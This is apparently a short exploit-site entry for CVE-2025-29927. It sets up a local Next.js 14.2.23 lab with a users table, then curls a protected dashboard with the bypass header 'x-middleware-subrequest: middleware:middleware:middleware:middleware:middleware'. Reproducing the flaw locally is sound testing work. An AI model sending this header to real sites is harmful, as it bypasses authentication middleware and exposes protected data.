Exploit for CVE-2025-29927

## https://sploitus.com/exploit?id=D88F7ACF-D957-5816-B243-71B7012DA823
```sh
npx create-next-app@14.2.23
```

### Install packages

```sh
npm install -D @types/bcrypt
npm install mysql2 
npm install jose
npm install -D @types/jsonwebtoken
```

### Prepare DB

``` SQL
CREATE TABLE users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  username VARCHAR(255) UNIQUE NOT NULL,
  password VARCHAR(255) NOT NULL 
);
```

### Run

```bash
npm run dev
```

### 

```sh
# Register some users for test.
curl http://localhost:3000/api/register

# Curl dashboard with or without the header:
# "x-middleware-subrequest": "middleware:middleware:middleware:middleware:middleware"
curl http://localhost:3000/dashboard


```